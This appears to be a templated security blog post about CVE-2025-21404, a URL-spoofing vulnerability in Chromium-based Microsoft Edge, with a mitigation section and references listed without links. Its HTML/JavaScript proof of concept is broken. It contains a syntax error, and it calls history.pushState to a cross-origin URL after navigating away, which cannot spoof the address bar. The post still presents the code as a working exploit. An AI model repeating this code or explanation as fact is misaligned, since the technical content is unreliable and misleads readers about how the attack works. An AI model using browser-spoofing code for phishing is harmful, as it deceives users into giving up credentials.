Recently, a new vulnerability has been discovered in the Chromium-based Microsoft Edge browser, which can potentially be exploited by attackers to perform URL spoofing. This vulnerability is denoted by the CVE ID - CVE-2025-21404.

In this blog post, we will analyze the nature of this exploit, understand how it can be potentially abused by attackers, look into an example code snippet, discuss mitigation steps, and provide links to original references for further details.

Vulnerability Details

CVE-2025-21404 is specifically a spoofing vulnerability that exists in the Chromium-based Microsoft Edge browser due to the improper handling of certain UI components. An attacker can exploit this vulnerability to create a web page that appears to come from a trusted source, thus potentially tricking users into revealing sensitive information or performing actions that they otherwise would not have intended.

This spoofing vulnerability can lead to various forms of attack scenarios, such as phishing, social engineering, and manipulation of end users. Moreover, since the Chromium-based Microsoft Edge browser is popular, a large number of users may be affected by this vulnerability.

The following is an example code snippet demonstrating the exploit

<!DOCTYPE html>
<html>
<head>
    <title>Edge Spoofing PoC (CVE-2025-21404)</title>
    <script>
        function exploit() {
            // Trigger navigation to the fakeURL
            window.location.href = 'https://www.example.com/login/';;

            // Spoofing the urlBar
            setTimeout(() => {
                history.pushState({}, 'Secure Login', 'https://www.trustedsite.com/login/';);
            }, 500);
        }
    </script>
</head>
<body>
    <h1>Microsoft Edge Spoofing Vulnerability (CVE-2025-21404)</h1>
    <button onclick="exploit()">Launch Exploit</button>
</body>
</html>

In this code snippet, the exploit() function first triggers a navigation to the malicious URL (fakeURL) and then changes the browser's address bar to display a different, trusted URL (trustedSite) using the history.pushState() method after a short delay.

Mitigation

Microsoft has acknowledged this vulnerability and has provided a security update to address this issue. It is strongly recommended that users update their Chromium-based Microsoft Edge browser to the latest version, which includes this security fix. Auto-updating should be enabled to ensure that such vulnerabilities are promptly patched in the future.

Additionally, end-users should be educated about the risks of navigating to suspicious or untrusted websites, particularly those that request sensitive information. Implementing strict security policies and using security solutions like web filters and antivirus programs can also help reduce the risk of spoofing attacks.

Original References

For more information on CVE-2025-21404, the following original references provide detailed analysis and explanations:

1. Microsoft Security Response Center (MSRC)
2. National Vulnerability Database (NVD)

Conclusion

CVE-2025-21404 is a notable spoofing vulnerability present in the Chromium-based Microsoft Edge browser. Users should ensure they are running the latest version of the browser to protect themselves against this issue. Besides, being cautious and proactive in implementing security measures can help reduce the risks associated with this type of vulnerability.

Timeline

Published on: 02/06/2025 23:15:09 UTC